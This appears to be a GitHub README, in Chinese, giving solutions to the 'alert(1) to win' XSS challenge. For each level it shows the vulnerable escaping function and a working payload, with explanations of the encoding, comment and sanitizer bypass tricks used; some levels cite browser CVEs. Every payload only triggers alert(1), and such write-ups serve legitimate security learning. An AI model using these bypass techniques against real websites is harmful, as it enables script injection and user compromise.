Skip to content
alert(1) to win payloads
Branch: master
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
README.md

README.md

alert(1) to win payloads

挑战地址:https://alf.nu/alert1

我还能更短!

所使用的浏览器 Opera 56.0.3051.43 和 Firefox 52.6.0

推荐使用Firefox,部分payload无法在Opera中执行

我的链接

https://alf.nu/alert(1)#accesstoken=NoNIWDnsKLzlDa2hkyRw

目录

Warmup (12)

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

热身题,对参数s没有任何校验,直接上payload吧

");alert(1);("

或者

");alert(1);//

最短的话,12个字符

");alert(1-"

或者

");alert(1|"

天才般的Javascript(劝退)

> 1 + ""
< "1"
> 1 - ""
< 1

Adobe (14)

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

全局替换了"\",就是说转义了双引号而没有转义转义字符\,也可以用</script>标签闭合,构造payload如下

\");alert(1)//

或者

</script><script>alert(1)//

JSON (27)

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

使用了JSON.stringify()函数对s进行处理,该函数会对双引号"和转义字符\进行转义,没有对< > ' /进行处理。那么闭合script标签,创建一个新的script 标签来执行alert(1),用//注释掉多余的字符串,payload如下

</script><script>alert(1)//

JavaScript (15)

function escape(s) {
  var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
  console.log(url);

  var a = document.createElement('a');
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

payload

%22);alert(1)//

%22是双引号"的URL编码,利用javascript:伪协议支持URL编码 Output

<a href=javascript:console.log("%22);alert(1)//")></a>

Markdown (31)

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

第一行代码将所有< "字符进行了转义 第二行是将形如http://S+ 的字符串改写为

<a href="http://S+">http://S+</a>

(S+为匹配一个非空白字符一次或多次) 第三行将形如[[a|b]]的字符串改写为

<img alt="b" src="a.gif"> 

先放出payload

[[a|http://onerror=alert(1)//]]

该函数构造的结果为

<img alt="<a href="http://onerror1=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

利用//来代替空格,href的起始"闭合alt的",再用//注释掉最后的"

DOM (32)

function escape(s) {
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}

通过#对字符串s进行切分,document['create' + m[0]]相当于调用了document.createXXX()函数,使用document.createComment()函数测试一下

Comment#111111

Output

<!--11111-->

那提前闭合注释标签,构造JavaScript代码就行了,payload如下

Comment#--><img/onerror=alert(1) src=x/>

还可以缩短一下

Comment#><iframe/onload=alert(1)

Output

<!--><iframe/onload=alert(1)-->

注:有一个更短的payload,29字符,但是在该网站上无法生效。

Comment#><svg/onload=alert(1)

Output

<!--><svg/onload=alert(1)-->

Callback (14)

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

和上一节很相似,输入

aaaa#bbbb

第一个字段为thing[0]不允许有a-z A-Z [ ] '中其他字符出现,第二个字段json对字符\ " <进行了转义。按照程序的结果,本意应该是构造下面这种形式 Input

Object#bbb

Ouput

<script>Object({"userdata":"bbb"})</script>

但是注意到一个很奇怪的地方,thing[0]可以包含[ ] '这些字符,而JSON.stringify()不对'进行转义。知道这些构造payload的简单多了。

'#'|alert(1)//

Output

<script>'({"userdata":"'|alert(1)//"})</script>

Skandia (52)

function escape(s) {
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

toUpperCase()函数将小写字符转换为大写字符,alert()函数会变成ALERT(),无法执行。 可以采用HTML实体编码来绕过,参考HTML实体字符,也可以用AAencode绕过,不过太长了

</script><iframe/onload=&#97&#108&#101&#114&#116(1)>

Output

<script>console.log("</SCRIPT><IFRAME/ONLOAD=&#97&#108&#101&#114&#116(1)>")</script></script>

Template (24)

function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;       
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g, 
        function(_, n) { 
           return htmlEscape(args[n]);
         });
  }
  
  return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}

注入的地方在<a href=#>{name}</a>中的{name}字段,对< > & " '字符进行了转义,但是没有转义\字符,于是利用十六进制构建payload

\x3ciframe/onload=alert(1) 

Output

      <h2>Hello, <span id=name></span>!</h2>         
      <script>                                       
         var v = document.getElementById('name');    
         v.innerHTML = '<a href=#>\x3ciframe/onload=alert(1) </a>';       
      </script>                                   

2018-10-12更新 26字符

\x3cstyle/onload=alert(1) 

24字符,浏览器FireFox 52.6.0

\x3csvg onload=alert(1) 

JSON 2 (35)

function escape(s) {
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}

将 s 中的" \进行转义后,将</script替换为空串,(g: 全局查找,i:忽略大小写),用双写进行绕过

<</script/script><script>alert(1)//

Output

<script>console.log("</script><script>alert(1)//");</script>

Callback 2 (16)

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

Callback的加强版本,转义了/,无法构造//注释了,如果了解 javascript 的注释是有三种的,分别为// /**/ <!--,那么利用第三种就可以轻松绕过了

'#';alert(1)<!--

Output

<script>'({"userdata":"';alert(1)<!--"})</script>

Skandia 2 (99)

花了我两个小时才用137字符完成了这题。

function escape(s) {
  if (/[<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

如果只是单纯的实现弹窗,那没什么困难的,但是不管使用aaencode还是jsfuck,用的字符都太多了,这两种编码形式写出的payload都超过了1000字符。如果图省事,那推荐使用jjencode,537个字符搞定

");$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+"\"")())()//

但是看到很多人用100来个字符搞定有点不爽啊(80多个字符搞定的我真不知道怎么做到的),先上我的payload吧,再来分析

");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//

首先来看有效的部分

_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()

这段代码在console中输入可以执行alert(1),来逐句分析一下

_=!1+URL+!0

执行完毕后,_="falsefunction URL() { [native code] }true"(强制类型转换后进行字符串的拼接后的结果),类似的全大写函数还有CSS() JSON() ,这段代码给变量_赋予了一个字符串"falsefunction URL() { [native code] }true",通过_[num]的形式我们可以取到这个字符串中num位置的字符。

fill           =>    _[0]+_[10]+_[2]+_[2]
constructor    =>    _[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]
alert          =>    _[1]+_[2]+_[4]+_[38]+_[9]

那么简化后的代码为

[]["fill"]["constructor"]("alert(1)")()

这段代码就变得易读了,要想理解就需要知道jsfuck的工作原理,查看github.com/aemkei/jsfuck 对应的给出firefox浏览器下的payload

");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[42]+_[43]+_[8]+_[9]+_[11]+_[42]](_[1]+_[2]+_[4]+_[42]+_[9]+'(1)')()//

原因是对于代码_=!1+URL+!0返回的字符串不一样

"falsefunction URL() {
    [native code]
}true"

2018-10-12 99字符 八进制

"|[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()|"

iframe

function escape(s) {
  var tag = document.createElement('iframe');

  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // https://4i.am/?...raw=... just outputs whatever you pass in.
  //
  // Alerting from 4i.am won't count.

  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

  window.WINNING = function() { youWon = true; };

  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}

TI(S)M (25)

function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }

  return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}

有两个可控的注入点,一是json(s)二是html(s),前者转义了" \ /"字符,后者对< > " &进行了HTML编码。如果我们让s为<!--<script> Output

<script>var url = "<!--<script>"; // We'll use this later </script>

  <!-- for debugging -->
  URL: &#60;!--&#60;script&#62;

<!-- then suddenly -->
<script>
  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>

保存本地执行,并在浏览器中审查元素不难发现,其对<script>标签的匹配产生了影响,有了3个起始标签而只有2个结束标签,并且一个</script>标签被注释掉了,调整得到 payload

if(alert(1)/*<!--<script>

JSON 3 (29)

function escape(s) {
  return s.split('#').map(function(v) {
      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.
      var json = JSON.stringify(v).replace(/<\//g, '<\\/');
      return '<script>console.log('+json+')</script>';
      }).join('');
}

字符串s首先以字符#分割为字符串数组,然后对数组中的每一个字符串调用匿名函数,每一次调用返回类似<script>console.log('+s[0]+')</script>的字符串,然后再将其拼接。上一题谈过字符串<!--<script>会对标签的匹配产生影响,利用这一点首先尝试

<!--<script>#aaa

Output

<script>console.log("<!--<script>")</script><script>console.log("aaa")</script>

将其保存在本地,经过浏览器执行后,使用审查元素可以看到,原本的两个<script>标签被当成一个标签进行处理,由于<!--后面没有-->整个标签都没有得到执行,自然console也没有任何的报错信息。于是尝试

<!--<script>#-->

Output

<script>console.log("<!--<script>")</script><script>console.log("-->")</script>

保存本地执行,发现console如下报错 Uncaught SyntaxError: Invalid regular expression: missing / 这个告诉我们,标签的匹配没有了问题,但是在执行javascript代码的时候出现了语法错误,具体来看代码部分

console.log("<!--<script>")</script><script>console.log("-->")

报错信息为:非法的正则表达式:缺少了 / ,也便是说/script><script>console.log("-->")这个部分被当做了javascript的正则表达式(其形式为/.../,需要注意在正则表达式中()也要成对出现),于是构造payload

<!--<script>#)/|alert(1)//-->

Output

<script>console.log("<!--<script>")</script><script>console.log(")/|alert(1)//-->")</script>

Skandia 3 (137)

function escape(s) {
  if (/[\\<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

payload

");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//

RFC4627 (101)

function escape(text) {
  var i = 0;
  window.the_easy_but_expensive_way_out = function() { alert(i++) };

// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."

  if (!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
          text.replace(/"(\\.|[^"\\])*"/g, '')))) {
    try { 
      var val = eval('(' + text + ')');
      console.log('' + val);
    } catch (_) {
      console.log('Crashed: '+_);
    }
  } else {
    console.log('Rejected.');
  }
}

Well (79)

function escape(s) {
  http://www.avlidienbrunn.se/xsschallenge/

  s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
  return "<script> var email = '" + s + "'; <\/script>";
}

绕过绕过,我给出的最短payload

'|new Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`|'

Output

<script> var email = ''|new Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`|''; </script>

No


K'Z'K (60)

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    return '<script>console.log("' + s + '");</script>';
}

采用匿名函数调用的方法,构造[]["pop"]["constructor"]('alert(1)')()的十六进制绕过,得到payload

"|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"

Output

<script>console.log(""|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"");</script>

K'Z'K (84)

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels and escape sequences in honor of K'Z'K 
    // y is only sometimes a vowel, so it's only removed as a literal
    s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>]/g, '');
    return '<script>console.log("' + s + '");</script>';
}

payload

"|[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()|"

Output

<script>console.log(""|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"");</script>

K'Z'K (189)

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>\\]/g, '');
    return '<script>console.log("' + s + '");</script>';
}

payload

"|[]['m'+(++[][[]]+[])[1]+'p']['c'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'nstr'+([][[]]+[])[0]+'ct'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'r']((++[][[]]+[])[1]+'l'+([][[]]+[])[3]+'rt(1)')()|"

Output

<script>console.log(""|[]['m'+(++[][[]]+[])[1]+'p']['c'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'nstr'+([][[]]+[])[0]+'ct'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'r']((++[][[]]+[])[1]+'l'+([][[]]+[])[3]+'rt(1)')()|"");</script>

Fruit(23)

// CVE-2016-4618
function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
    for (var i=0; i<n.attributes.length; i++) {
      var name = n.attributes[i].name;
      if (name !== 'class') { n.removeAttribute(name); }
    }
  }
  [].map.call(div.querySelectorAll('*'), f);
  return div.innerHTML;
}

payload Firefox 52.6.0

<svg t onload=alert(1)>

Output

<svg onload="alert(1)"></svg>

Fruit 2 (23)

// CVE-2016-7650
function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
    for (var i=0; i<n.attributes.length; i++) {
      var name = n.attributes[i].name;
      if (name !== 'class') { n.removeAttribute(name); }
    }
  }
  [].map.call(div.querySelectorAll('*'), f);
  return div.innerHTML;
}

payload

<svg t onload=alert(1)>

Output

<svg onload="alert(1)"></svg>

Fruit 3

Capitals

Quine

Entities (13)

// submitted by securityMB
function escape(s) {
  function htmlentities(s) {
    return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
  }
  s = htmlentities(s);
  return `<script>
  var obj = {};
  obj["${s}"] = "${s}";
</script>`;
}

两个注入点,利用好注释符和转义字符 payload

];alert(1)//\

Output

<script>
  var obj = {};
  obj["];alert(1)//\"] = "];alert(1)//\";
</script>

Entities 2

You can’t perform that action at this time.